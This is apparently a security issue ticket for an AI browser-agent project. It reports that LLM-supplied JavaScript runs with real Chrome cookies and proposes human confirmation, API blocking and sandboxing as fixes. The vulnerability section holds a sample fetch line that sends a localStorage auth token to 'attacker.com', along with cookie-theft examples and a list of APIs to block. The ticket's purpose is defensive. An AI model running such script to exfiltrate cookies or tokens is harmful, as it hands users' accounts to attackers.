[Phase 1.2.2] Restrict browser JavaScript execution

[richard-devbot]

Phase

Phase 1 — Critical Security | Track 1.2 — Execution Controls | Priority: P0 CRITICAL

Vulnerability Details

File: operator_use/web/tools/browser.py:261-265
CWE: CWE-94 — Code Injection

The `script` browser action executes arbitrary LLM-supplied JavaScript in the browser context. Combined with real Chrome cookies (see #1.3.1), this allows:

• `document.cookie` exfiltration
• `fetch('attacker.com/?token=' + localStorage.getItem('auth'))`
• DOM manipulation of banking/email sites

The `_repair_js()` function is a regex fixer, NOT a security boundary.

Fix

1. Immediate: Add human-in-the-loop confirmation before any script execution
2. Short-term: Block access to sensitive APIs (`document.cookie`, `fetch` to external domains, `XMLHttpRequest`, `localStorage`, `sessionStorage`)
3. Long-term: Execute scripts in sandboxed iframe or Web Worker

Acceptance Criteria

• Human confirmation required before script execution
• Sensitive API access blocked or sandboxed
• Security tests with malicious script payloads
• Integration with guardrails module (ActionValidator)

References

• CWE-94
• OWASP LLM02 — Insecure Output Handling
• Design Doc: docs/plans/2026-03-29-security-ai-guardrails-performance-design.md